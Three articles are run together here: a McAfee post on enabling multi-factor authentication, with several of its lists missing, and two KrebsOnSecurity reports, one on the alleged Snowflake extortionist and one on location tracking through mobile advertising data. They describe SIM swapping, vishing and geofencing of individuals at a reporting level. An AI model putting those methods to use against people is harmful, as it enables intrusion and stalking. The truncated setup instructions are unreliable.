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Two-step verification, two-factor authentication, multi-factor authentication…whatever your social media platform calls it, it’s an excellent way to protect your accounts.
There’s a good chance you’re already using multi-factor verification with your other accounts — for your bank, your finances, your credit card, and any number of things. The way it requires an extra one-time code in addition to your login and password makes life far tougher for hackers.
It’s increasingly common to see nowadays, where all manner of online services only allow access to your accounts after you’ve provided a one-time passcode sent to your email or smartphone. That’s where two-step verification comes in. You get sent a code as part of your usual login process (usually a six-digit number), and then you enter that along with your username and password.
Some online services also offer the option to use an authenticator app, which sends the code to a secure app rather than via email or your smartphone. Authenticator apps work much in the same way, yet they offer three unique features:
Google, Microsoft, and others offer authenticator apps if you want to go that route. You can get a good list of options by checking out the “editor’s picks” at your app store or in trusted tech publications.
Whichever form of authentication you use, always keep that secure code to yourself. It’s yours and yours alone. Anyone who asks for that code, say someone masquerading as a customer service rep, is trying to scam you. With that code, and your username/password combo, they can get into your account.
Passwords and two-step verification work hand-in-hand to keep you safer. Yet not any old password will do. You’ll want a strong, unique password. Here’s how that breaks down:
Now, with strong passwords in place, you can get to setting up multi-factor verification on your social media accounts.
When you set up two-factor authentication on Facebook, you’ll be asked to choose one of three security methods:
And here’s a link to the company’s full walkthrough: https://www.facebook.com/help/148233965247823
When you set up two-factor authentication on Instagram, you’ll be asked to choose one of three security methods: an authentication app, text message, or WhatsApp.
And here’s a link to the company’s full walkthrough: https://help.instagram.com/566810106808145
And here’s a link to the company’s full walkthrough: https://faq.whatsapp.com/1920866721452534
And here’s a link to the company’s full walkthrough: https://support.google.com/accounts/answer/185839?hl=en&co=GENIE.Platform%3DDesktop
1. TapProfileat the bottom of the screen.
2. Tap the Menu button at the top.
3. Tap Settings and Privacy, then Security.
4. Tap 2-step verification and choose at least two verification methods: SMS (text), email, and authenticator app.
5. Tap Turn on to confirm.
And here’s a link to the company’s full walkthrough: https://support.tiktok.com/en/account-and-privacy/personalized-ads-and-data/how-your-phone-number-is-used-on-tiktok
The post How to Protect Your Social Media Passwords with Multi-factor Verification appeared first on McAfee Blog.
A 25-year-old man in Ontario, Canada has been arrested for allegedly stealing data from and extorting more than 160 companies that used the cloud data service Snowflake.
Image: https://www.pomerium.com/blog/the-real-lessons-from-the-snowflake-breach
On October 30, Canadian authorities arrested Alexander Moucka, a.k.a. Connor Riley Moucka of Kitchener, Ontario, on a provisional arrest warrant from the United States. Bloomberg first reported Moucka’s alleged ties to the Snowflake hacks on Monday.
At the end of 2023, malicious hackers learned that many large companies had uploaded huge volumes of sensitive customer data to Snowflake accounts that were protected with little more than a username and password (no multi-factor authentication required). After scouring darknet markets for stolen Snowflake account credentials, the hackers began raiding the data storage repositories used by some of the world’s largest corporations.
Among those was AT&T, which disclosed in July that cybercriminals had stolen personal information and phone and text message records for roughly 110 million people — nearly all of its customers. Wired.com reported in July that AT&T paid a hacker $370,000 to delete stolen phone records.
A report on the extortion attacks from the incident response firm Mandiant notes that Snowflake victim companies were privately approached by the hackers, who demanded a ransom in exchange for a promise not to sell or leak the stolen data. All told, more than 160 Snowflake customers were relieved of data, including TicketMaster, Lending Tree, Advance Auto Parts and Neiman Marcus.
Moucka is alleged to have used the hacker handles Judische and Waifu, among many others. These monikers correspond to a prolific cybercriminal whose exploits were the subject of a recent story published here about the overlap between Western, English-speaking cybercriminals and extremist groups that harass and extort minors into harming themselves or others.
On May 2, 2024, Judische claimed on the fraud-focused Telegram channel Star Chat that they had hacked Santander Bank, one of the first known Snowflake victims. Judische would repeat that claim in Star Chat on May 13 — the day before Santander publicly disclosed a data breach — and would periodically blurt out the names of other Snowflake victims before their data even went up for sale on the cybercrime forums.
404 Media reports that at a court hearing in Ontario this morning, Moucka called in from a prison phone and said he was seeking legal aid to hire an attorney.
Mandiant has attributed the Snowflake compromises to a group it calls “UNC5537,” with members based in North America and Turkey. Sources close to the investigation tell KrebsOnSecurity the UNC5537 member in Turkey is John Erin Binns, an elusive American man indicted by the U.S. Department of Justice (DOJ) for a 2021 breach at T-Mobile that exposed the personal information of at least 76.6 million customers.
Update: The Justice Department has unsealed an indictment (PDF) against Moucka and Binns, charging them with one count of conspiracy; 10 counts of wire fraud; four counts of computer fraud and abuse; two counts of extortion in relation to computer fraud; and two counts aggravated identity theft.
In a statement on Moucka’s arrest, Mandiant said UNC5537 aka Alexander ‘Connor’ Moucka has proven to be one of the most consequential threat actors of 2024.
“In April 2024, UNC5537 launched a campaign, systematically compromising misconfigured SaaS instances across over a hundred organizations,” wrote Austin Larsen, Mandiant’s senior threat analyst. “The operation, which left organizations reeling from significant data loss and extortion attempts, highlighted the alarming scale of harm an individual can cause using off-the-shelf tools.”
Sources involved in the investigation said UNC5537 has focused on hacking into telecommunications companies around the world. Those sources told KrebsOnSecurity that Binns and Judische are suspected of stealing data from India’s largest state-run telecommunications firm Bharat Sanchar Nigam Ltd (BNSL), and that the duo even bragged about being able to intercept or divert phone calls and text messages for a large portion of the population of India.
Judische appears to have outsourced the sale of databases from victim companies who refuse to pay, delegating some of that work to a cybercriminal who uses the nickname Kiberphant0m on multiple forums. In late May 2024, Kiberphant0m began advertising the sale of hundreds of gigabytes of data stolen from BSNL.
“Information is worth several million dollars but I’m selling for pretty cheap,” Kiberphant0m wrote of the BSNL data in a post on the English-language cybercrime community Breach Forums. “Negotiate a deal in Telegram.”
Also in May 2024, Kiberphant0m took to the Russian-language hacking forum XSS to sell more than 250 gigabytes of data stolen from an unnamed mobile telecom provider in Asia, including a database of all active customers and software allowing the sending of text messages to all customers.
On September 3, 2024, Kiberphant0m posted a sales thread on XSS titled “Selling American Telecom Access (100B+ Revenue).” Kiberphant0m’s asking price of $200,000 was apparently too high because they reposted the sales thread on Breach Forums a month later, with a headline that more clearly explained the data was stolen from Verizon‘s “push-to-talk” (PTT) customers — primarily U.S. government agencies and first responders.
404Media reported recently that the breach does not appear to impact the main consumer Verizon network. Rather, the hackers broke into a third party provider and stole data on Verizon’s PTT systems, which are a separate product marketed towards public sector agencies, enterprises, and small businesses to communicate internally.
Investigators say Moucka shared a home in Kitchener with other tenants, but not his family. His mother was born in Chechnya, and he speaks Russian in addition to French and English. Moucka’s father died of a drug overdose at age 26, when the defendant was roughly five years old.
A person claiming to be Judische began communicating with this author more than three months ago on Signal after KrebsOnSecurity started asking around about hacker nicknames previously used by Judische over the years.
Judische admitted to stealing and ransoming data from Snowflake customers, but he said he’s not interested in selling the information, and that others have done this with some of the data sets he stole.
“I’m not really someone that sells data unless it’s crypto [databases] or credit cards because they’re the only thing I can find buyers for that actually have money for the data,” Judische told KrebsOnSecurity. “The rest is just ransom.”
Judische has sent this reporter dozens of unsolicited and often profane messages from several different Signal accounts, all of which claimed to be an anonymous tipster sharing different identifying details for Judische. This appears to have been an elaborate effort by Judische to “detrace” his movements online and muddy the waters about his identity.
Judische frequently claimed he had unparalleled “opsec” or operational security, a term that refers to the ability to compartmentalize and obfuscate one’s tracks online. In an effort to show he was one step ahead of investigators, Judische shared information indicating someone had given him a Mandiant researcher’s assessment of who and where they thought he was. Mandiant says those were discussion points shared with select reporters in advance of the researcher’s recent talk at the LabsCon security conference.
But in a conversation with KrebsOnSecurity on October 26, Judische acknowledged it was likely that the authorities were closing in on him, and said he would seriously answer certain questions about his personal life.
“They’re coming after me for sure,” he said.
In several previous conversations, Judische referenced suffering from an unspecified personality disorder, and when pressed said he has a condition called “schizotypal personality disorder” (STPD).
According to the Cleveland Clinic, schizotypal personality disorder is marked by a consistent pattern of intense discomfort with relationships and social interactions: “People with STPD have unusual thoughts, speech and behaviors, which usually hinder their ability to form and maintain relationships.”
Judische said he was prescribed medication for his psychological issues, but that he doesn’t take his meds. Which might explain why he never leaves his home.
“I never go outside,” Judische allowed. “I’ve never had a friend or true relationship not online nor in person. I see people as vehicles to achieve my ends no matter how friendly I may seem on the surface, which you can see by how fast I discard people who are loyal or [that] I’ve known a long time.”
Judische later admitted he doesn’t have an official STPD diagnosis from a physician, but said he knows that he exhibits all the signs of someone with this condition.
“I can’t actually get diagnosed with that either,” Judische shared. “Most countries put you on lists and restrict you from certain things if you have it.”
Asked whether he has always lived at his current residence, Judische replied that he had to leave his hometown for his own safety.
“I can’t live safely where I’m from without getting robbed or arrested,” he said, without offering more details.
A source familiar with the investigation said Moucka previously lived in Quebec, which he allegedly fled after being charged with harassing others on the social network Discord.
Judische claims to have made at least $4 million in his Snowflake extortions. Judische said he and others frequently targeted business process outsourcing (BPO) companies, staffing firms that handle customer service for a wide range of organizations. They also went after managed service providers (MSPs) that oversee IT support and security for multiple companies, he claimed.
“Snowflake isn’t even the biggest BPO/MSP multi-company dataset on our networks, but what’s been exfiltrated from them is well over 100TB,” Judische bragged. “Only ones that don’t pay get disclosed (unless they disclose it themselves). A lot of them don’t even do their SEC filing and just pay us to fuck off.”
The other half of UNC5537 — 24-year-old John Erin Binns — was arrested in Turkey in late May 2024, and currently resides in a Turkish prison. However, it is unclear if Binns faces any immediate threat of extradition to the United States, where he is currently wanted on criminal hacking charges tied to the 2021 breach at T-Mobile.
A person familiar with the investigation said Binns’s application for Turkish citizenship was inexplicably approved after his incarceration, leading to speculation that Binns may have bought his way out of a sticky legal situation.
Under the Turkish constitution, a Turkish citizen cannot be extradited to a foreign state. Turkey has been criticized for its “golden passport” program, which provides citizenship and sanctuary for anyone willing to pay several hundred thousand dollars.
This is an image of a passport that Binns shared in one of many unsolicited emails to KrebsOnSecurity since 2021. Binns never explained why he sent this in Feb. 2023.
Binns’s alleged hacker alter egos — “IRDev” and “IntelSecrets” — were at once feared and revered on several cybercrime-focused Telegram communities, because he was known to possess a powerful weapon: A massive botnet. From reviewing the Telegram channels Binns frequented, we can see that others in those communities — including Judische — heavily relied on Binns and his botnet for a variety of cybercriminal purposes.
The IntelSecrets nickname corresponds to an individual who has claimed responsibility for modifying the source code for the Mirai “Internet of Things” botnet to create a variant known as “Satori,” and supplying it to others who used it for criminal gain and were later caught and prosecuted.
Since 2020, Binns has filed a flood of lawsuits naming various federal law enforcement officers and agencies — including the FBI, the CIA, and the U.S. Special Operations Command (PDF), demanding that the government turn over information collected about him and seeking restitution for his alleged kidnapping at the hands of the CIA.
Binns claims he was kidnapped in Turkey and subjected to various forms of psychological and physical torture. According to Binns, the U.S. Central Intelligence Agency (CIA) falsely told their counterparts in Turkey that he was a supporter or member of the Islamic State (ISIS), a claim he says led to his detention and torture by the Turkish authorities.
However, in a 2020 lawsuit he filed against the CIA, Binns himself acknowledged having visited a previously ISIS-controlled area of Syria prior to moving to Turkey in 2017.
A segment of a lawsuit Binns filed in 2020 against the CIA, in which he alleges U.S. put him on a terror watch list after he traveled to Syria in 2017.
Sources familiar with the investigation told KrebsOnSecurity that Binns was so paranoid about possible surveillance on him by American and Turkish intelligence agencies that his erratic behavior and online communications actually brought about the very government snooping that he feared.
In several online chats in late 2023 on Discord, IRDev lamented being lured into a law enforcement sting operation after trying to buy a rocket launcher online. A person close to the investigation confirmed that at the beginning of 2023, IRDev began making earnest inquiries about how to purchase a Stinger, an American-made portable weapon that operates as an infrared surface-to-air missile.
Sources told KrebsOnSecurity Binns’ repeated efforts to purchase the projectile earned him multiple visits from the Turkish authorities, who were justifiably curious why he kept seeking to acquire such a powerful weapon.
A careful study of Judische’s postings on Telegram and Discord since 2019 shows this user is more widely known under the nickname “Waifu,” a moniker that corresponds to one of the more accomplished “SIM swappers” in the English-language cybercrime community over the years.
SIM swapping involves phishing, tricking or bribing mobile phone company employees for credentials needed to redirect a target’s mobile phone number to a device the attackers control — allowing thieves to intercept incoming text messages and phone calls.
Several SIM-swapping channels on Telegram maintain a frequently updated leaderboard of the 100 richest SIM-swappers, as well as the hacker handles associated with specific cybercrime groups (Waifu is ranked #24). That list has long included Waifu on a roster of hackers for a group that called itself “Beige.”
The term “Beige Group” came up in reporting on two stories published here in 2020. The first was in an August 2020 piece called Voice Phishers Targeting Corporate VPNs, which warned that the COVID-19 epidemic had brought a wave of targeted voice phishing attacks that tried to trick work-at-home employees into providing access to their employers’ networks. Frequent targets of the Beige group included employees at numerous top U.S. banks, ISPs, and mobile phone providers.
The second time Beige Group was mentioned by sources was in reporting on a breach at the domain registrar GoDaddy. In November 2020, intruders thought to be associated with the Beige Group tricked a GoDaddy employee into installing malicious software, and with that access they were able to redirect the web and email traffic for multiple cryptocurrency trading platforms. Other frequent targets of the Beige group included employees at numerous top U.S. banks, ISPs, and mobile phone providers.
Judische’s various Telegram identities have long claimed involvement in the 2020 GoDaddy breach, and he didn’t deny his alleged role when asked directly. Judische said he prefers voice phishing or “vishing” attacks that result in the target installing data-stealing malware, as opposed to tricking the user into entering their username, password and one-time code.
“Most of my ops involve malware [because] credential access burns too fast,” Judische explained.
The Telegram channels that the Judische/Waifu accounts frequented over the years show this user divided their time between posting in channels dedicated to financial cybercrime, and harassing and stalking others in harm communities like Leak Society and Court.
Both of these Telegram communities are known for victimizing children through coordinated online campaigns of extortion, doxing, swatting and harassment. People affiliated with harm groups like Court and Leak Society will often recruit new members by lurking on gaming platforms, social media sites and mobile applications that are popular with young people, including Discord, Minecraft, Roblox, Steam, Telegram, and Twitch.
“This type of offence usually starts with a direct message through gaming platforms and can move to more private chatrooms on other virtual platforms, typically one with video enabled features, where the conversation quickly becomes sexualized or violent,” warns a recent alert from the Royal Canadian Mounted Police (RCMP) about the rise of sextortion groups on social media channels.
“One of the tactics being used by these actors is sextortion, however, they are not using it to extract money or for sexual gratification,” the RCMP continued. “Instead they use it to further manipulate and control victims to produce more harmful and violent content as part of their ideological objectives and radicalization pathway.”
Some of the largest such known groups include those that go by the names 764, CVLT, Kaskar, 7997, 8884, 2992, 6996, 555, Slit Town, 545, 404, NMK, 303, and H3ll.
On the various cybercrime-oriented channels Judische frequented, he often lied about his or others’ involvement in various breaches. But Judische also at times shared nuggets of truth about his past, particularly when discussing the early history and membership of specific Telegram- and Discord-based cybercrime and harm groups.
Judische claimed in multiple chats, including on Leak Society and Court, that they were an early member of the Atomwaffen Division (AWD), a white supremacy group whose members are suspected of having committed multiple murders in the U.S. since 2017.
In 2019, KrebsOnSecurity exposed how a loose-knit group of neo-Nazis, some of whom were affiliated with AWD, had doxed and/or swatted nearly three dozen journalists at a range of media publications. Swatting involves communicating a false police report of a bomb threat or hostage situation and tricking authorities into sending a heavily armed police response to a targeted address.
Judsiche also told a fellow denizen of Court that years ago he was active in an older harm community called “RapeLash,” a truly vile Discord server known for attracting Atomwaffen members. A 2018 retrospective on RapeLash posted to the now defunct neo-Nazi forum Fascist Forge explains that RapeLash was awash in gory, violent images and child pornography.
A Fascist Forge member named “Huddy” recalled that RapeLash was the third incarnation of an extremist community also known as “FashWave,” short for Fascist Wave.
“I have no real knowledge of what happened with the intermediary phase known as ‘FashWave 2.0,’ but FashWave 3.0 houses multiple known Satanists and other degenerates connected with AWD, one of which got arrested on possession of child pornography charges, last I heard,” Huddy shared.
In June 2024, a Mandiant employee told Bloomberg that UNC5537 members have made death threats against cybersecurity experts investigating the hackers, and that in one case the group used artificial intelligence to create fake nude photos of a researcher to harass them.
Allison Nixon is chief research officer with the New York-based cybersecurity firm Unit 221B. Nixon is among several researchers who have faced harassment and specific threats of physical violence from Judische.
Nixon said Judische is likely to argue in court that his self-described psychological disorder(s) should somehow excuse his long career in cybercrime and in harming others.
“They ran a misinformation campaign in a sloppy attempt to cover up the hacking campaign,” Nixon said of Judische. “Coverups are an acknowledgment of guilt, which will undermine a mental illness defense in court. We expect that violent hackers from the [cybercrime community] will experience increasingly harsh sentences as the crackdown continues.”
5:34 p.m. ET: Updated story to include a clarification from Mandiant. Corrected Moucka’s age.
Nov. 21, 2024: Included link to a criminal indictment against Moucka and Binns.
Not long ago, the ability to digitally track someone’s daily movements just by knowing their home address, employer, or place of worship was considered a dangerous power that should remain only within the purview of nation states. But a new lawsuit in a likely constitutional battle over a New Jersey privacy law shows that anyone can now access this capability, thanks to a proliferation of commercial services that hoover up the digital exhaust emitted by widely-used mobile apps and websites.
Image: Shutterstock, Arthimides.
Delaware-based Atlas Data Privacy Corp. helps its users remove their personal information from the clutches of consumer data brokers, and from people-search services online. Backed by millions of dollars in litigation financing, Atlas so far this year has sued 151 consumer data brokers on behalf of a class that includes more than 20,000 New Jersey law enforcement officers who are signed up for Atlas services.
Atlas alleges all of these data brokers have ignored repeated warnings that they are violating Daniel’s Law, a New Jersey statute allowing law enforcement, government personnel, judges and their families to have their information completely removed from commercial data brokers. Daniel’s Law was passed in 2020 after the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge — his mother.
Last week, Atlas invoked Daniel’s Law in a lawsuit (PDF) against Babel Street, a little-known technology company incorporated in Reston, Va. Babel Street’s core product allows customers to draw a digital polygon around nearly any location on a map of the world, and view a slightly dated (by a few days) time-lapse history of the mobile devices seen coming in and out of the specified area.
Babel Street’s LocateX platform also allows customers to track individual mobile users by their Mobile Advertising ID or MAID, a unique, alphanumeric identifier built into all Google Android and Apple mobile devices.
Babel Street can offer this tracking capability by consuming location data and other identifying information that is collected by many websites and broadcast to dozens and sometimes hundreds of ad networks that may wish to bid on showing their ad to a particular user.
This image, taken from a video recording Atlas made of its private investigator using Babel Street to show all of the unique mobile IDs seen over time at a mosque in Dearborn, Michigan. Each red dot represents one mobile device.
In an interview, Atlas said a private investigator they hired was offered a free trial of Babel Street, which the investigator was able to use to determine the home address and daily movements of mobile devices belonging to multiple New Jersey police officers whose families have already faced significant harassment and death threats.
Atlas said the investigator encountered Babel Street while testing hundreds of data broker tools and services to see if personal information on its users was being sold. They soon discovered Babel Street also bundles people-search services with its platform, to make it easier for customers to zero in on a specific device.
The investigator contacted Babel Street about possibly buying home addresses in certain areas of New Jersey. After listening to a sales pitch for Babel Street and expressing interest, the investigator was told Babel Street only offers their service to the government or to “contractors of the government.”
“The investigator (truthfully) mentioned that he was contemplating some government contract work in the future and was told by the Babel Street salesperson that ‘that’s good enough’ and that ‘they don’t actually check,’” Atlas shared in an email with reporters.
KrebsOnSecurity was one of five media outlets invited to review screen recordings that Atlas made while its investigator used a two-week trial version of Babel Street’s LocateX service. References and links to reporting by other publications, including 404 Media, Haaretz, NOTUS, and The New York Times, will appear throughout this story.
Collectively, these stories expose how the broad availability of mobile advertising data has created a market in which virtually anyone can build a sophisticated spying apparatus capable of tracking the daily movements of hundreds of millions of people globally.
The findings outlined in Atlas’s lawsuit against Babel Street also illustrate how mobile location data is set to massively complicate several hot-button issues, from the tracking of suspected illegal immigrants or women seeking abortions, to harassing public servants who are already in the crosshairs over baseless conspiracy theories and increasingly hostile political rhetoric against government employees.
Atlas says the Babel Street trial period allowed its investigator to find information about visitors to high-risk targets such as mosques, synagogues, courtrooms and abortion clinics. In one video, an Atlas investigator showed how they isolated mobile devices seen in a New Jersey courtroom parking lot that was reserved for jurors, and then tracked one likely juror’s phone to their home address over several days.
While the Atlas investigator had access to its trial account at Babel Street, they were able to successfully track devices belonging to several plaintiffs named or referenced in the lawsuit. They did so by drawing a digital polygon around the home address or workplace of each person in Babel Street’s platform, which focused exclusively on the devices that passed through those addresses each day.
Each red dot in this Babel Street map represents a unique mobile device that has been seen since April 2022 at a Jewish synagogue in Los Angeles, Calif. Image: Atlas Data Privacy Corp.
One unique feature of Babel Street is the ability to toggle a “night” mode, which makes it relatively easy to determine within a few meters where a target typically lays their head each night (because their phone is usually not far away).
Atlas plaintiffs Scott and Justyna Maloney are both veteran officers with the Rahway, NJ police department who live together with their two young children. In April 2023, Scott and Justyna became the target of intense harassment and death threats after Officer Justyna responded to a routine call about a man filming people outside of the Motor Vehicle Commission in Rahway.
The man filming the Motor Vehicle Commission that day is a social media personality who often solicits police contact and then records himself arguing about constitutional rights with the responding officers.
Officer Justyna’s interaction with the man was entirely peaceful, and the episode appeared to end without incident. But after a selectively edited video of that encounter went viral, their home address and unpublished phone numbers were posted online. When their tormentors figured out that Scott was also a cop (a sergeant), the couple began receiving dozens of threatening text messages, including specific death threats.
According to the Atlas lawsuit, one of the messages to Mr. Maloney demanded money, and warned that his family would “pay in blood” if he didn’t comply. Sgt. Maloney said he then received a video in which a masked individual pointed a rifle at the camera and told him that his family was “going to get [their] heads cut off.”
Maloney said a few weeks later, one of their neighbors saw two suspicious individuals in ski masks parked one block away from the home and alerted police. Atlas’s complaint says video surveillance from neighboring homes shows the masked individuals circling the Maloney’s home. The responding officers arrested two men, who were armed, for unlawful possession of a firearm.
According to Google Maps, Babel Street shares a corporate address with Google and the consumer credit reporting bureau TransUnion.
Atlas said their investigator was not able to conclusively find Scott Maloney’s iPhone in the Babel Street platform, but they did find Justyna’s. Babel Street had nearly 100,000 hits for her phone over several months, allowing Atlas to piece together an intimate picture of Justyna’s daily movements and meetings with others.
An Atlas investigator visited the Maloneys and inspected Justyna’s iPhone, and determined the only app that used her device’s location data was from the department store Macy’s.
In a written response to questions, Macy’s said its app includes an opt-in feature for geo-location, “which allows customers to receive an enhanced shopping experience based on their location.”
“We do not store any customer location information,” Macy’s wrote. “We share geo-location data with a limited number of partners who help us deliver this enhanced app experience. Furthermore, we have no connection with Babel Street” [link added for context].
Justyna’s experience highlights a stark reality about the broad availability of mobile location data: Even if the person you’re looking for isn’t directly identifiable in platforms like Babel Street, it is likely that at least some of that person’s family members are. In other words, it’s often trivial to infer the location of one device by successfully locating another.
The terms of service for Babel Street’s Locate X service state that the product “may not be used as the basis for any legal process in any country, including as the basis for a warrant, subpoena, or any other legal or administrative action.” But Scott Maloney said he’s convinced by their experience that not even law enforcement agencies should have access to this capability without a warrant.
“As a law enforcement officer, in order for me to track someone I need a judge to sign a warrant – and that’s for a criminal investigation after we’ve developed probable cause,” Mr. Maloney said in an interview. “Data brokers tracking me and my family just to sell that information for profit, without our consent, and even after we’ve explicitly asked them not to is deeply disturbing.”
Mr. Maloney’s law enforcement colleagues in other states may see things differently. In August, The Texas Observer reported that state police plan to spend more than $5 million on a contract for a controversial surveillance tool called Tangles from the tech firm PenLink. Tangles is an AI-based web platform that scrapes information from the open, deep and dark web, and it has a premier feature called WebLoc that can be used to geofence mobile devices.
The Associated Press reported last month that law enforcement agencies from suburban Southern California to rural North Carolina have been using an obscure cell phone tracking tool called Fog Reveal — at times without warrants — that gives them the ability to follow people’s movements going back many months.
It remains unclear precisely how Babel Street is obtaining the abundance of mobile location data made available to users of its platform. The company did not respond to multiple requests for comment.
But according to a document (PDF) obtained under a Freedom of Information Act request with the Department of Homeland Security’s Science and Technology directorate, Babel Street re-hosts data from the commercial phone tracking firm Venntel.
On Monday, the Substack newsletter All-Source Intelligence unearthed documents indicating that the U.S. Federal Trade Commission has opened an inquiry into Venntel and its parent company Gravy Analytics.
“Venntel has also been a data partner of the police surveillance contractor Fog Data Science, whose product has been described as ‘mass surveillance on a budget,'” All-Source’s Jack Poulson wrote. “Venntel was also reported to have been a primary data source of the controversial ‘Locate X’ phone tracking product of the American data fusion company Babel Street.”
The Mobile Advertising ID or MAID — the unique alphanumeric identifier assigned to each mobile device — was originally envisioned as a way to distinguish individual mobile customers without relying on personally identifiable information such as phone numbers or email addresses.
However, there is now a robust industry of marketing and advertising companies that specialize in assembling enormous lists of MAIDs that are “enriched” with historical and personal information about the individual behind each MAID.
One of many vendors that “enrich” MAID data with other identifying information, including name, address, email address and phone number.
Atlas said its investigator wanted to know whether they could find enriched MAID records on their New Jersey law enforcement customers, and soon found plenty of ad data brokers willing to sell it.
Some vendors offered only a handful of data fields, such as first and last name, MAID and email address. Other brokers sold far more detailed histories along with their MAID, including each subject’s social media profiles, precise GPS coordinates, and even likely consumer category.
How are advertisers and data brokers gaining access to so much information? Some sources of MAID data can be apps on your phone such as AccuWeather, GasBuddy, Grindr, and MyFitnessPal that collect your MAID and location and sell that to brokers.
A user’s MAID profile and location data also is commonly shared as a consequence of simply using a smartphone to visit a web page that features ads. In the few milliseconds before those ads load, the website will send a “bid request” to various ad exchanges, where advertisers can bid on the chance to place their ad in front of users who match the consumer profiles they’re seeking. A great deal of data can be included in a bid request, including the user’s precise location (the current open standard for bid requests is detailed here).
The trouble is that virtually anyone can access the “bidstream” data flowing through these so-called “realtime bidding” networks, because the information is simultaneously broadcast in the clear to hundreds of entities around the world.
The result is that there are a number of marketing companies that now enrich and broker access to this mobile location information. Earlier this year, the German news outlet netzpolitik.org purchased a bidstream data set containing more than 3.6 billion data points, and shared the information with the German daily BR24. They concluded that the data they obtained (through a free trial, no less) made it possible to establish movement profiles — some of them quite precise — of several million people across Germany.
A screenshot from the BR24/Netzpolitik story about their ability to track millions of Germans, including many employees of the German Federal Police and Interior Ministry.
Politico recently covered startling research from universities in New Hampshire, Kentucky and St. Louis that showed how the mobile advertising data they acquired allowed them to link visits from investigators with the U.S. Securities and Exchange Commission (SEC) to insiders selling stock before the investigations became public knowledge.
The researchers in that study said they didn’t attempt to use the same methods to track regulators from other agencies, but that virtually anyone could do it.
Justin Sherman, a distinguished fellow at Georgetown Law’s Center for Privacy and Technology, called the research a “shocking demonstration of what happens when companies can freely harvest Americans’ geolocation data and sell it for their chosen price.”
“Politicians should understand how they, their staff, and public servants are threatened by the sale of personal data—and constituent groups should realize that talk of data broker ‘controls’ or ‘best practices” is designed by companies to distract from the underlying problems and the comprehensive privacy and security solutions,” Sherman wrote for Lawfare this week.
The Orwellian nature of modern mobile advertising networks may soon have far-reaching implications for women’s reproductive rights, as more states move to outlaw abortion within their borders. The 2022 Dobbs decision by the U.S. Supreme Court discarded the federal right to abortion, and 14 states have since enacted strict abortion bans.
Anti-abortion groups are already using mobile advertising data to advance their cause. In May 2023, The Wall Street Journal reported that an anti-abortion group in Wisconsin used precise geolocation data to direct ads to women it suspected of seeking abortions.
As it stands, there is little to stop anti-abortion groups from purchasing bidstream data (or renting access to a platform like Babel Street) and using it to geofence abortion clinics, potentially revealing all mobile devices transiting through these locations.
Atlas said its investigator geofenced an abortion clinic and was able to identify a likely employee at that clinic, following their daily route to and from that individual’s home address.
A still shot from a video Atlas shared of its use of Babel Street to identify and track an employee traveling each day between their home and the clinic.
Last year, Idaho became the first state to outlaw “abortion trafficking,” which the Idaho Capital Sun reports is defined as “recruiting, harboring or transporting a pregnant minor to get an abortion or abortion medication without parental permission.” Tennessee now has a similar law, and GOP lawmakers in five other states introduced abortion trafficking bills that failed to advance this year, the Sun reports.
Atlas said its investigator used Babel Street to identify and track a person traveling from their home in Alabama — where abortion is now illegal — to an abortion clinic just over the border in Tallahassee, Fla. — and back home again within a few hours. Abortion rights advocates and providers are currently suing Alabama Attorney General Steve Marshall, seeking to block him from prosecuting people who help patients travel out-of-state to end pregnancies.
Eva Galperin, director of cybersecurity at the Electronic Frontier Foundation (EFF), a non-profit digital rights group, said she’s extremely concerned about dragnet surveillance of people crossing state lines in order to get abortions.
“Specifically, Republican officials from states that have outlawed abortion have made it clear that they are interested in targeting people who have gone to neighboring states in order to get abortions, and to make it more difficult for people who are seeking abortions to go to neighboring states,” Galperin said. “It’s not a great leap to imagine that states will do this.”
Atlas found that for the right price (typically $10-50k a year), brokers can provide access to tens of billions of data points covering large swaths of the US population and the rest of the world.
Based on the data sets Atlas acquired — many of which included older MAID records — they estimate they could locate roughly 80 percent of Android-based devices, and about 25 percent of Apple phones. Google refers to its MAID as the “Android Advertising ID,” (AAID) while Apple calls it the “Identifier for Advertisers” (IDFA).
What accounts for the disparity between the number of Android and Apple devices that can be found in mobile advertising data? In April 2021, Apple shipped version 14.5 of its iOS operating system, which introduced a technology called App Tracking Transparency (ATT) that requires apps to get affirmative consent before they can track users by their IDFA or any other identifier.
Apple’s introduction of ATT had a swift and profound impact on the advertising market: Less than a year later Facebook disclosed that the iPhone privacy feature would decrease the company’s 2022 revenues by about $10 billion.
Source: cnbc.com.
Google runs by far the world’s largest ad exchange, known as AdX. The U.S. Department of Justice, which has accused Google of building a monopoly over the technology that places ads on websites, estimates that Google’s ad exchange controls 47 percent of the U.S. market and 56 percent globally.
Google’s Android is also the dominant mobile operating system worldwide, with more than 72 percent of the market. In the U.S., however, iPhone users claim approximately 55 percent of the market, according to TechRepublic.
In response to requests for comment, Google said it does not send real time bidding requests to Babel Street, nor does it share precise location data in bid requests. The company added that its policies explicitly prohibit the sale of data from real-time bidding, or its use for any purpose other than advertising.
Google said its MAIDs are randomly generated and do not contain IP addresses, GPS coordinates, or any other location data, and that its ad systems do not share anyone’s precise location data.
“Android has clear controls for users to manage app access to device location, and reset or delete their advertising ID,” Google’s written statement reads. “If we learn that someone, whether an app developer, ad tech company or anyone else, is violating our policies, we take appropriate action. Beyond that, we support legislation and industry collaboration to address these types of data practices that negatively affect the entire mobile ecosystem, including all operating systems.”
In a written statement shared with reporters, Apple said Location Services is not on by default in its devices. Rather, users must enable Location Services and must give permission to each app or website to use location data. Users can turn Location Services off at any time, and can change whether apps have access to location at any time. The user’s choices include precise vs. approximate location, as well as a one-time grant of location access by the app.
“We believe that privacy is a fundamental human right, and build privacy protections into each of our products and services to put the user in control of their data,” an Apple spokesperson said. “We minimize personal data collection, and where possible, process data only on users’ devices.”
Zach Edwards is a senior threat analyst at the cybersecurity firm SilentPush who has studied the location data industry closely. Edwards said Google and Apple can’t keep pretending like the MAIDs being broadcast into the bidstream from hundreds of millions of American devices aren’t making most people trivially trackable.
“The privacy risks here will remain until Apple and Google permanently turn off their mobile advertising ID schemes and admit to the American public that this is the technology that has been supporting the global data broker ecosystem,” he said.
According to Bloomberg Law, between 2019 and 2023, threats against federal judges have more than doubled. Amid increasingly hostile political rhetoric and conspiracy theories against government officials, a growing number of states are seeking to pass their own versions of Daniel’s Law.
Last month, a retired West Virginia police officer filed a class action lawsuit against the people-search service Whitepages for listing their personal information in violation of a statute the state passed in 2021 that largely mirrors Daniel’s Law.
